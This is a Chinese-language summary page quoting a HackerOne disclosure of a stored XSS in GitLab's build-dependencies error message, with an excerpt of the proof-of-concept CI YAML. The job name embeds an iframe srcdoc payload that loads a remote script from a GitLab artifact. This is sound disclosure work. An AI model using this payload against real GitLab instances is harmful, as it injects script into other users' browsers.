Store-XSS in error message of build-dependencies
该报告还没有中文解读。
原文摘录
摘自原文（3042 字符中的一小部分）
A stored-XSS is existing in error message of build-dependencies. Fortunately it currently does not exist in gitlab.com. It seems that gitlab.com [disables](https://gitlab.com/gitlab-org/gitlab/-/issues/6144#note_232311971) the dependencies validation. However this feature is enable by default in …
原文中的代码
test<iframe srcdoc='<script src=https://gitlab.com/yvvdwf/data/-/jobs/552156057/artifacts/raw/alert.js></script>'></iframe>:
stage: build
script:
- date > index.html
artifacts:
paths:
- index.html
expire_in: 1 second
job-test:
stage: test
script: echo "hi" …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 GitLab 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @yvvdwf · 版权归作者与 GitLab 所有